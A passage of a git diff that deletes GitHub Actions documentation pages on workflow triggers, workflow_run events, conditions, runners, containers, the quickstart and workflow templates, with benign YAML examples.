allows you to execute a workflow based on execution or completion of another workflow. The workflow started by the `workflow_run` event is able to access secrets and write tokens, even if the previous workflow was not. This is useful in cases where the previous workflow is intentionally not privileged, but you need to take a privileged action in a later workflow. - -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes. - -```yaml -on: - workflow_run: - workflows: [Run Tests] - types: - - completed -``` - -If you specify multiple `workflows` for the `workflow_run` event, only one of the workflows needs to run. For example, a workflow with the following trigger will run whenever the "Staging" workflow or the "Lab" workflow completes. - -```yaml -on: - workflow_run: - workflows: [Staging, Lab] - types: - - completed -``` - -### Running a workflow based on the conclusion of another workflow - -A workflow run is triggered regardless of the conclusion of the previous workflow. If you want to run a job or step based on the result of the triggering workflow, you can use a conditional with the `github.event.workflow_run.conclusion` property. For example, this workflow will run whenever a workflow named "Build" completes, but the `on-success` job will only run if the "Build" workflow succeeded, and the `on-failure` job will only run if the "Build" workflow failed: - -```yaml -on: - workflow_run: - workflows: [Build] - types: [completed] - -jobs: - on-success: - runs-on: ubuntu-latest - if: {% raw %}${{ github.event.workflow_run.conclusion == 'success' }}{% endraw %} - steps: - - run: echo 'The triggering workflow passed' - on-failure: - runs-on: ubuntu-latest - if: {% raw %}${{ github.event.workflow_run.conclusion == 'failure' }}{% endraw %} - steps: - - run: echo 'The triggering workflow failed' -``` - -### Limiting your workflow to run based on branches - -You can use the `branches` or `branches-ignore` filter to specify what branches the triggering workflow must run on in order to trigger your workflow. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_runbranchesbranches-ignore). For example, a workflow with the following trigger will only run when the workflow named `Build` runs on a branch named `canary`. - -```yaml -on: - workflow_run: - workflows: [Build] - types: [requested] - branches: [canary] -``` - -### Using data from the triggering workflow - -You can access the [`workflow_run` event payload](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run) that corresponds to the workflow that triggered your workflow. For example, if your triggering workflow generates artifacts, a workflow triggered with the `workflow_run` event can access these artifacts. - -The following workflow uploads data as an artifact. (In this simplified example, the data is the pull request number.) - -```yaml -name: Upload data - -on: - pull_request: - -jobs: - upload: - runs-on: ubuntu-latest - - steps: - - name: Save PR number - env: - PR_NUMBER: {% raw %}${{ github.event.number }}{% endraw %} - run: | - mkdir -p ./pr - echo $PR_NUMBER > ./pr/pr_number - - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: pr_number - path: pr/ -``` - -When a run of the above workflow completes, it triggers a run of the following workflow. The following workflow uses the `github.event.workflow_run` context and the {% data variables.product.github %} REST API to download the artifact that was uploaded by the above workflow, unzips the downloaded artifact, and comments on the pull request whose number was uploaded as an artifact. - -```yaml -name: Use the data - -on: - workflow_run: - workflows: [Upload data] - types: - - completed - -jobs: - download: - runs-on: ubuntu-latest - steps: - - name: 'Download artifact' - uses: {% data reusables.actions.action-github-script %} - with: - script: | - let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({ - owner: context.repo.owner, - repo: context.repo.repo, - run_id: context.payload.workflow_run.id, - }); - let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => { - return artifact.name == "pr_number" - })[0]; - let download = await github.rest.actions.downloadArtifact({ - owner: context.repo.owner, - repo: context.repo.repo, - artifact_id: matchArtifact.id, - archive_format: 'zip', - }); - const fs = require('fs'); - const path = require('path'); - const temp = '{% raw %}${{ runner.temp }}{% endraw %}/artifacts'; - if (!fs.existsSync(temp)){ - fs.mkdirSync(temp); - } - fs.writeFileSync(path.join(temp, 'pr_number.zip'), Buffer.from(download.data)); - - - name: 'Unzip artifact' - run: unzip pr_number.zip -d "{% raw %}${{ runner.temp }}{% endraw %}/artifacts" - - - name: 'Comment on PR' - uses: {% data reusables.actions.action-github-script %} - with: - github-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - script: | - const fs = require('fs'); - const path = require('path'); - const temp = '{% raw %}${{ runner.temp }}{% endraw %}/artifacts'; - const issue_number = Number(fs.readFileSync(path.join(temp, 'pr_number'))); - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: issue_number, - body: 'Thank you for the PR!' - }); -``` diff --git a/content/actions/writing-workflows/choosing-when-your-workflow-runs/index.md b/content/actions/writing-workflows/choosing-when-your-workflow-runs/index.md deleted file mode 100644 index 7958c95b0856..000000000000 --- a/content/actions/writing-workflows/choosing-when-your-workflow-runs/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Choosing when your workflow runs -shortTitle: Choose when workflows run -intro: You can configure workflows to run on a schedule or to run when certain events happen. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /triggering-a-workflow - - /using-conditions-to-control-job-execution - - /events-that-trigger-workflows ---- - diff --git a/content/actions/writing-workflows/choosing-when-your-workflow-runs/triggering-a-workflow.md b/content/actions/writing-workflows/choosing-when-your-workflow-runs/triggering-a-workflow.md deleted file mode 100644 index 9954f08eace8..000000000000 --- a/content/actions/writing-workflows/choosing-when-your-workflow-runs/triggering-a-workflow.md +++ /dev/null @@ -1,315 +0,0 @@ ---- -title: Triggering a workflow -shortTitle: Trigger a workflow -intro: 'How to automatically trigger {% data variables.product.prodname_actions %} workflows' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Workflows - - CI - - CD -redirect_from: - - /actions/using-workflows/triggering-a-workflow ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About workflow triggers - -{% data reusables.actions.about-triggers %} - -Workflow triggers are defined with the `on` key. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#on). - -The following steps occur to trigger a workflow run: - -1. An event occurs on your repository. The event has an associated commit SHA and Git ref. -1. {% data variables.product.github %} searches the `.github/workflows` directory in the root of your repository for workflow files that are present in the associated commit SHA or Git ref of the event. -1. A workflow run is triggered for any workflows that have `on:` values that match the triggering event. Some events also require the workflow file to be present on the default branch of the repository in order to run. - - Each workflow run will use the version of the workflow that is present in the associated commit SHA or Git ref of the event. When a workflow runs, {% data variables.product.github %} sets the `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) environment variables in the runner environment. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables). - -### Triggering a workflow from a workflow - -{% data reusables.actions.actions-do-not-trigger-workflows %} For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - -If you do want to trigger a workflow from within a workflow run, you can use a {% data variables.product.prodname_github_app %} installation access token or a {% data variables.product.pat_generic %} instead of `GITHUB_TOKEN` to trigger events that require a token. - -If you use a {% data variables.product.prodname_github_app %}, you'll need to create a {% data variables.product.prodname_github_app %} and store the app ID and private key as secrets. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). If you use a {% data variables.product.pat_generic %}, you'll need to create a {% data variables.product.pat_generic %} and store it as a secret. For more information about creating a {% data variables.product.pat_generic %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). For more information about storing secrets, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -To minimize your {% data variables.product.prodname_actions %} usage costs, ensure that you don't create recursive or unintended workflow runs. - -For example, the following workflow uses a {% data variables.product.pat_generic %} (stored as a secret called `MY_TOKEN`) to add a label to an issue via {% data variables.product.prodname_cli %}. Any workflows that run when a label is added will run once this step is performed. - -```yaml -on: - issues: - types: - - opened - -jobs: - label_issue: - runs-on: ubuntu-latest - steps: - - env: - GH_TOKEN: {% raw %}${{ secrets.MY_TOKEN }}{% endraw %} - ISSUE_URL: {% raw %}${{ github.event.issue.html_url }}{% endraw %} - run: | - gh issue edit $ISSUE_URL --add-label "triage" -``` - -Conversely, the following workflow uses `GITHUB_TOKEN` to add a label to an issue. It will not trigger any workflows that run when a label is added. - -```yaml -on: - issues: - types: - - opened - -jobs: - label_issue: - runs-on: ubuntu-latest - steps: - - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - ISSUE_URL: {% raw %}${{ github.event.issue.html_url }}{% endraw %} - run: | - gh issue edit $ISSUE_URL --add-label "triage" -``` - -## Using events to trigger workflows - -Use the `on` key to specify what events trigger your workflow. For more information about events you can use, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). - -### Using a single event - -{% data reusables.actions.on-single-example %} - -### Using multiple events - -{% data reusables.actions.on-multiple-example %} - -### Using activity types and filters with multiple events - -You can use activity types and filters to further control when your workflow will run. For more information, see [Using event activity types](#using-event-activity-types) and [Using filters](#using-filters). {% data reusables.actions.actions-multiple-types %} - -## Using event activity types - -{% data reusables.actions.actions-activity-types %} - -## Using filters - -{% data reusables.actions.actions-filters %} - -### Using filters to target specific branches for pull request events - -{% data reusables.actions.workflows.triggering-workflow-branches1 %} - -#### Example: Including branches - -{% data reusables.actions.workflows.triggering-workflow-branches2 %} - -#### Example: Excluding branches - -{% data reusables.actions.workflows.triggering-workflow-branches3 %} - -#### Example: Including and excluding branches - -{% data reusables.actions.workflows.triggering-workflow-branches4 %} - -### Using filters to target specific branches or tags for push events - -{% data reusables.actions.workflows.run-on-specific-branches-or-tags1 %} - -#### Example: Including branches and tags - -{% data reusables.actions.workflows.run-on-specific-branches-or-tags2 %} - -#### Example: Excluding branches and tags - -{% data reusables.actions.workflows.run-on-specific-branches-or-tags3 %} - -#### Example: Including and excluding branches and tags - -{% data reusables.actions.workflows.run-on-specific-branches-or-tags4 %} - -### Using filters to target specific paths for pull request or push events - -{% data reusables.actions.workflows.triggering-a-workflow-paths1 %} - -#### Example: Including paths - -{% data reusables.actions.workflows.triggering-a-workflow-paths2 %} - -#### Example: Excluding paths - -{% data reusables.actions.workflows.triggering-a-workflow-paths3 %} - -#### Example: Including and excluding paths - -{% data reusables.actions.workflows.triggering-a-workflow-paths4 %} - -#### Git diff comparisons - -{% data reusables.actions.workflows.triggering-a-workflow-paths5 %} - -### Using filters to target specific branches for workflow run events - -{% data reusables.actions.workflows.section-specifying-branches %} - -## Defining inputs for manually triggered workflows - -{% data reusables.actions.workflow-dispatch %} -{% data reusables.actions.workflow-dispatch-inputs %} -{% data reusables.actions.workflow-dispatch-inputs-example %} - -## Defining inputs, outputs, and secrets for reusable workflows - -You can define inputs and secrets that a reusable workflow should receive from a calling workflow. You can also specify outputs that a reusable workflow will make available to a calling workflow. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -## Using event information - -Information about the event that triggered a workflow run is available in the `github.event` context. The properties in the `github.event` context depend on the type of event that triggered the workflow. For example, a workflow triggered when an issue is labeled would have information about the issue and label. - -### Viewing all properties of an event - -Reference the webhook event documentation for common properties and example payloads. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads). - -You can also print the entire `github.event` context to see what properties are available for the event that triggered your workflow: - -```yaml -jobs: - print_context: - runs-on: ubuntu-latest - steps: - - env: - EVENT_CONTEXT: {% raw %}${{ toJSON(github.event) }}{% endraw %} - run: | - echo $EVENT_CONTEXT -``` - -### Accessing and using event properties - -You can use the `github.event` context in your workflow. For example, the following workflow runs when a pull request that changes `package*.json`, `.github/CODEOWNERS`, or `.github/workflows/**` is opened. If the pull request author (`github.event.pull_request.user.login`) is not `octobot` or `dependabot[bot]`, then the workflow uses the {% data variables.product.prodname_cli %} to label and comment on the pull request (`github.event.pull_request.number`). - -```yaml -on: - pull_request: - types: - - opened - paths: - - '.github/workflows/**' - - '.github/CODEOWNERS' - - 'package*.json' - -jobs: - triage: - if: >- - github.event.pull_request.user.login != 'octobot' && - github.event.pull_request.user.login != 'dependabot[bot]' - runs-on: ubuntu-latest - steps: - - name: "Comment about changes we can't accept" - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - PR: {% raw %}${{ github.event.pull_request.html_url }}{% endraw %} - run: | - gh pr edit $PR --add-label 'invalid' - gh pr comment $PR --body 'It looks like you edited `package*.json`, `.github/CODEOWNERS`, or `.github/workflows/**`. We do not allow contributions to these files. Please review our [contributing guidelines](https://github.com/octo-org/octo-repo/blob/main/CONTRIBUTING.md) for what contributions are accepted.' -``` - -For more information about contexts, see [AUTOTITLE](/actions/learn-github-actions/contexts). For more information about event payloads, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads). - -## Further controlling how your workflow will run - -If you want more granular control than events, event activity types, or event filters provide, you can use conditionals and environments to control whether individual jobs or steps in your workflow will run. - -### Using conditionals - -You can use conditionals to further control whether jobs or steps in your workflow will run. - -#### Example using a value in the event payload - -For example, if you want the workflow to run when a specific label is added to an issue, you can trigger on the `issues labeled` event activity type and use a conditional to check what label triggered the workflow. The following workflow will run when any label is added to an issue in the workflow's repository, but the `run_if_label_matches` job will only execute if the label is named `bug`. - -```yaml -on: - issues: - types: - - labeled - -jobs: - run_if_label_matches: - if: github.event.label.name == 'bug' - runs-on: ubuntu-latest - steps: - - run: echo 'The label was bug' -``` - -#### Example using event type - -For example, if you want to run different jobs or steps depending on what event triggered the workflow, you can use a conditional to check whether a specific event type exists in the event context. The following workflow will run whenever an issue or pull request is closed. If the workflow ran because an issue was closed, the `github.event` context will contain a value for `issue` but not for `pull_request`. Therefore, the `if_issue` step will run but the `if_pr` step will not run. Conversely, if the workflow ran because a pull request was closed, the `if_pr` step will run but the `if_issue` step will not run. - -```yaml -on: - issues: - types: - - closed - pull_request: - types: - - closed - -jobs: - state_event_type: - runs-on: ubuntu-latest - steps: - - name: if_issue - if: github.event.issue - run: | - echo An issue was closed - - name: if_pr - if: github.event.pull_request - run: | - echo A pull request was closed -``` - -For more information about what information is available in the event context, see [Using event information](#using-event-information). For more information about how to use conditionals, see [AUTOTITLE](/actions/learn-github-actions/expressions). - -### Using environments to manually trigger workflow jobs - -If you want to manually trigger a specific job in a workflow, you can use an environment that requires approval from a specific team or user. First, configure an environment with required reviewers. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment). Then, reference the environment name in a job in your workflow using the `environment:` key. Any job referencing the environment will not run until at least one reviewer approves the job. - -For example, the following workflow will run whenever there is a push to main. The `build` job will always run. The `publish` job will only run after the `build` job successfully completes (due to `needs: [build]`) and after all of the rules (including required reviewers) for the environment called `production` pass (due to `environment: production`). - -```yaml -on: - push: - branches: - - main - -jobs: - build: - runs-on: ubuntu-latest - steps: - - name: build - run: | - echo 'building' - - publish: - needs: [build] - runs-on: ubuntu-latest - environment: production - steps: - - name: publish - run: | - echo 'publishing' -``` - -> [!NOTE] -> {% data reusables.gated-features.environments %} - -## Available events - -For a full list of available events, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). diff --git a/content/actions/writing-workflows/choosing-when-your-workflow-runs/using-conditions-to-control-job-execution.md b/content/actions/writing-workflows/choosing-when-your-workflow-runs/using-conditions-to-control-job-execution.md deleted file mode 100644 index e18a51795494..000000000000 --- a/content/actions/writing-workflows/choosing-when-your-workflow-runs/using-conditions-to-control-job-execution.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Using conditions to control job execution -shortTitle: Use conditions to control job execution -intro: Prevent a job from running unless your conditions are met. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/using-conditions-to-control-job-execution ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.workflows.skipped-job-status-checks-passing %} - -{% data reusables.actions.jobs.section-using-conditions-to-control-job-execution %} - -On a skipped job, you should see "This check was skipped." - -> [!NOTE] -> In some parts of the workflow you cannot use environment variables. Instead you can use contexts to access the value of an environment variable. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables#using-the-env-context-to-access-environment-variable-values). diff --git a/content/actions/writing-workflows/choosing-where-your-workflow-runs/choosing-the-runner-for-a-job.md b/content/actions/writing-workflows/choosing-where-your-workflow-runs/choosing-the-runner-for-a-job.md deleted file mode 100644 index ff21f8983b07..000000000000 --- a/content/actions/writing-workflows/choosing-where-your-workflow-runs/choosing-the-runner-for-a-job.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Choosing the runner for a job -shortTitle: Choose the runner for a job -intro: Define the type of machine that will process a job in your workflow. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/choosing-the-runner-for-a-job ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.jobs.choosing-runner-overview %} - -## Choosing {% data variables.product.prodname_dotcom %}-hosted runners - -{% data reusables.actions.jobs.choosing-runner-github-hosted %} - -## Choosing self-hosted runners - -{% data reusables.actions.jobs.choosing-runner-self-hosted %} - -## Choosing runners in a group - -{% data reusables.actions.jobs.choosing-runner-group %} diff --git a/content/actions/writing-workflows/choosing-where-your-workflow-runs/index.md b/content/actions/writing-workflows/choosing-where-your-workflow-runs/index.md deleted file mode 100644 index 1a3a3dd85702..000000000000 --- a/content/actions/writing-workflows/choosing-where-your-workflow-runs/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Choosing where your workflow runs -shortTitle: Choose where workflows run -intro: You can specify the compute environment your jobs and workflows run in. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /choosing-the-runner-for-a-job - - /running-jobs-in-a-container ---- - diff --git a/content/actions/writing-workflows/choosing-where-your-workflow-runs/running-jobs-in-a-container.md b/content/actions/writing-workflows/choosing-where-your-workflow-runs/running-jobs-in-a-container.md deleted file mode 100644 index ee375f636f76..000000000000 --- a/content/actions/writing-workflows/choosing-where-your-workflow-runs/running-jobs-in-a-container.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Running jobs in a container -shortTitle: Run jobs in a container -intro: Use a container to run the steps in a job. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/running-jobs-in-a-container ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.jobs.section-running-jobs-in-a-container %} - -## Defining the container image - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-image %} - -## Defining credentials for a container registry - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-credentials %} - -## Using environment variables with a container - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-env %} - -## Exposing network ports on a container - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-ports %} - -## Mounting volumes in a container - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-volumes %} - -## Setting container resource options - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-options %} diff --git a/content/actions/writing-workflows/index.md b/content/actions/writing-workflows/index.md deleted file mode 100644 index c389572f2d0c..000000000000 --- a/content/actions/writing-workflows/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Writing workflows -shortTitle: Write workflows -intro: '{% data variables.product.prodname_actions %} workflows can automate tasks throughout the software development lifecycle.' -redirect_from: - - /actions/learn-github-actions - - /actions/using-workflows -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /quickstart - - /about-workflows - - /using-workflow-templates - - /choosing-when-your-workflow-runs - - /choosing-where-your-workflow-runs - - /choosing-what-your-workflow-does - - /workflow-syntax-for-github-actions ---- - diff --git a/content/actions/writing-workflows/quickstart.md b/content/actions/writing-workflows/quickstart.md deleted file mode 100644 index 22072df36d2e..000000000000 --- a/content/actions/writing-workflows/quickstart.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Quickstart for GitHub Actions -intro: 'Try out the features of {% data variables.product.prodname_actions %} in 5 minutes or less.' -allowTitleToDifferFromFilename: true -redirect_from: - - /actions/getting-started-with-github-actions/starting-with-preconfigured-workflow-templates - - /actions/quickstart - - /actions/getting-started-with-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: quick_start -topics: - - Fundamentals -shortTitle: Quickstart ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -{% data reusables.actions.about-actions %} You can create workflows that run tests whenever you push a change to your repository, or that deploy merged pull requests to production. - -This quickstart guide shows you how to use the user interface of {% data variables.product.github %} to add a workflow that demonstrates some of the essential features of {% data variables.product.prodname_actions %}. - -{% data reusables.actions.workflow-templates-for-more-information %} - -For an overview of {% data variables.product.prodname_actions %} workflows, see [AUTOTITLE](/actions/using-workflows/about-workflows). If you want to learn about the various components that make up {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -## Using workflow templates - -{% data reusables.actions.workflow-template-overview %} - -{% data reusables.actions.workflow-templates-repo-link %} - -## Prerequisites - -This guide assumes that: -* You have at least a basic knowledge of how to use {% data variables.product.prodname_dotcom %}. If you don't, you'll find it helpful to read some of the articles in the documentation for repositories and pull requests first. For example, see [AUTOTITLE](/repositories/creating-and-managing-repositories/quickstart-for-repositories), [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches), and [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). -* You have a repository on {% data variables.product.github %} where you can add files. -* You have access to {% data variables.product.prodname_actions %}. - - > [!NOTE] If the **{% octicon "play" aria-hidden="true" %} Actions** tab is not displayed under the name of your repository on {% data variables.product.prodname_dotcom %}, it may be because Actions is disabled for the repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository). - -## Creating your first workflow - -1. In your repository on {% data variables.product.github %}, create a workflow file called `github-actions-demo.yml` in the `.github/workflows` directory. To do this: - * If the `.github/workflows` directory already exists, navigate to that directory on {% data variables.product.prodname_dotcom %}, click **Add file**, then click **Create new file**, and name the file `github-actions-demo.yml`. - * If your repository doesn't have a `.github/workflows` directory, go to the main page of the repository on {% data variables.product.prodname_dotcom %}, click **Add file**, then click **Create new file**, and name the file `.github/workflows/github-actions-demo.yml`. This creates the `.github` and `workflows` directories and the `github-actions-demo.yml` file in a single step. - - > [!NOTE] - > For {% data variables.product.prodname_dotcom %} to discover any {% data variables.product.prodname_actions %} workflows in your repository, you must save the workflow files in a directory called `.github/workflows`. - > - > You can give the workflow file any name you like, but you must use `.yml` or `.yaml` as the file name extension. YAML is a markup language that's commonly used for configuration files. - -1. Copy the following YAML contents into the `github-actions-demo.yml` file: - - ```yaml copy - name: GitHub Actions Demo - run-name: {% raw %}${{ github.actor }}{% endraw %} is testing out GitHub Actions 🚀 - on: [push] - jobs: - Explore-GitHub-Actions: - runs-on: ubuntu-latest - steps: - - run: echo "🎉 The job was automatically triggered by a {% raw %}${{ github.event_name }}{% endraw %} event." - - run: echo "🐧 This job is now running on a {% raw %}${{ runner.os }}{% endraw %} server hosted by GitHub!" - - run: echo "🔎 The name of your branch is {% raw %}${{ github.ref }}{% endraw %} and your repository is {% raw %}${{ github.repository }}{% endraw %}." - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - run: echo "💡 The {% raw %}${{ github.repository }}{% endraw %} repository has been cloned to the runner." - - run: echo "🖥️ The workflow is now ready to test your code on the runner." - - name: List files in the repository - run: | - ls {% raw %}${{ github.workspace }}{% endraw %} - - run: echo "🍏 This job's status is {% raw %}${{ job.status }}{% endraw %}." - ``` - - At this stage you don't need to understand the details of this workflow. For now, you can just copy and paste the contents into the file. After completing this quickstart guide, you can learn about the syntax of workflow files in [AUTOTITLE](/actions/using-workflows/about-workflows#understanding-the-workflow-file), and for an explanation of {% data variables.product.prodname_actions %} contexts, such as `{% raw %}${{ github.actor }}{% endraw %}` and `{% raw %}${{ github.event_name }}{% endraw %}`, see [AUTOTITLE](/actions/learn-github-actions/contexts). - -1. Click **Commit changes**. -1. In the "Propose changes" dialog, select either the option to commit to the default branch or the option to create a new branch and start a pull request. Then click **Commit changes** or **Propose changes**. - - ![Screenshot of the "Propose changes" dialog with the areas mentioned highlighted with an orange outline.](/assets/images/help/repository/actions-quickstart-commit-new-file.png) - -Committing the workflow file to a branch in your repository triggers the `push` event and runs your workflow. - -If you chose to start a pull request, you can continue and create the pull request, but this is not necessary for the purposes of this quickstart because the commit has still been made to a branch and will trigger the new workflow. - -## Viewing your workflow results - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -1. In the left sidebar, click the workflow you want to display, in this example "GitHub Actions Demo." - - ![Screenshot of the "Actions" page. The name of the example workflow, "GitHub Actions Demo", is highlighted by a dark orange outline.](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png) - -1. From the list of workflow runs, click the name of the run you want to see, in this example "USERNAME is testing out GitHub Actions." -1. In the left sidebar of the workflow run page, under **Jobs**, click the **Explore-GitHub-Actions** job. - - ![Screenshot of the "Workflow run" page. In the left sidebar, the "Explore-GitHub-Actions" job is highlighted with a dark orange outline.](/assets/images/help/repository/actions-quickstart-job.png) - -1. The log shows you how each of the steps was processed. Expand any of the steps to view its details. - - ![Screenshot of steps run by the workflow.](/assets/images/help/repository/actions-quickstart-logs.png) - - For example, you can see the list of files in your repository: - - ![Screenshot of the "List files in the repository" step expanded to show the log output. The output for the step is highlighted with an orange outline.](/assets/images/help/repository/actions-quickstart-log-detail.png) - -The example workflow you just added is triggered each time code is pushed to the branch, and shows you how {% data variables.product.prodname_actions %} can work with the contents of your repository. For an in-depth tutorial, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -## Next steps - -{% data reusables.actions.onboarding-next-steps %} diff --git a/content/actions/writing-workflows/using-workflow-templates.md b/content/actions/writing-workflows/using-workflow-templates.md deleted file mode 100644 index c3f5f8656a2f..000000000000 --- a/content/actions/writing-workflows/using-workflow-templates.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Using workflow templates -shortTitle: Use workflow templates -intro: '{% data variables.product.github %} provides workflow templates for a variety of languages and tooling.' -redirect_from: - - /articles/setting-up-continuous-integration-using-github-actions - - /github/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions - - /actions/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions - - /actions/building-and-testing-code-with-continuous-integration/setting-up-continuous-integration-using-github-actions - - /actions/guides/setting-up-continuous-integration-using-workflow-templates - - /actions/learn-github-actions/using-workflow-templates - - /actions/using-workflows/using-starter-workflows - - /actions/learn-github-actions/using-starter-workflows - - /actions/writing-workflows/using-starter-workflows -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Workflows - - CI - - CD ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About workflow templates - -Workflow templates are templates that help you to create your own {% data variables.product.prodname_actions %} workflows for a repository. They offer an alternative to starting from a blank workflow file and are useful because some of the work will already have been done for you. - -{% data variables.product.github %} offers workflow templates for a variety of languages and tooling. When you set up workflows in your repository, {% data variables.product.github %} analyzes the code in your repository and recommends workflows based on the language and framework in your repository. For example, if you use Node.js, {% data variables.product.github %} will suggest a workflow template file that installs your Node.js packages and runs your tests. You can search and filter to find relevant workflow templates. - -{% data reusables.actions.workflow-templates-categories %} - -{% data reusables.actions.workflow-templates-repo-link %} - -You can also create your own workflow template to share with your organization. These workflow templates will appear alongside the {% data variables.product.github %}-provided workflow templates. Anyone with write access to the organization's `.github` repository can set up a workflow template. For more information, see [AUTOTITLE](/actions/using-workflows/creating-starter-workflows-for-your-organization). - -## Choosing and using a workflow template - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Find the workflow template that you want to use, then click **Configure**. To help you find the workflow template that you want, you can search for keywords or filter by category. -1. If the workflow template contains comments detailing additional setup steps, follow these steps. - - There are guides to accompany many of the workflow templates for building and testing projects. For more information, see [AUTOTITLE](/actions/automating-builds-and-tests). - -1. Some workflow templates use secrets. For example, {% raw %}`${{ secrets.npm_token }}`{% endraw %}. If the workflow template uses a secret, store the value described in the secret name as a secret in your repository. For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). -1. Optionally, make additional changes. For example, you might want to change the value of `on` to change when the workflow runs. -1. Click **Start commit**. -1. Write a commit message and decide whether to commit directly to the default branch or to open a pull request. - -## Further reading - -* [AUTOTITLE](/actions/automating-builds-and-tests/about-continuous-integration) -* [AUTOTITLE](/actions/managing-workflow-runs) -* [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting) -{% ifversion fpt or ghec %} -* [AUTOTITLE](/billing/managing-billing-for-github-actions) -{% endif %} diff --git a/content/actions/writing-workflows/workflow-syntax-for-github-actions.md b/content/actions/writing-workflows/workflow-syntax-for-github-actions.md deleted file mode 100644 index 40afb8c36b74..000000000000 --- a/content/actions/writing-workflows/workflow-syntax-for-github-actions.md +++ /dev/null @@ -1,1248 +0,0 @@ ---- -title: Workflow syntax for GitHub Actions -shortTitle: Workflow syntax -intro: A workflow is a configurable automated process made up of one or more jobs. You must create a YAML file to define your workflow configuration. -redirect_from: - - /articles/workflow-syntax-for-github-actions - - /github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions - - /actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions - - /actions/reference/workflow-syntax-for-github-actions - - /actions/learn-github-actions/workflow-syntax-for-github-actions - - /actions/using-workflows/workflow-syntax-for-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About YAML syntax for workflows - -Workflow files use YAML syntax, and must have either a `.yml` or `.yaml` file extension. {% data reusables.actions.learn-more-about-yaml %} - -You must store workflow files in the `.github/workflows` directory of your repository. - -## `name` - -{% data reusables.actions.workflows.workflow-syntax-name %} - -## `run-name` - -The name for workflow runs generated from the workflow. {% data variables.product.prodname_dotcom %} displays the workflow run name in the list of workflow runs on your repository's "Actions" tab. If `run-name` is omitted or is only whitespace, then the run name is set to 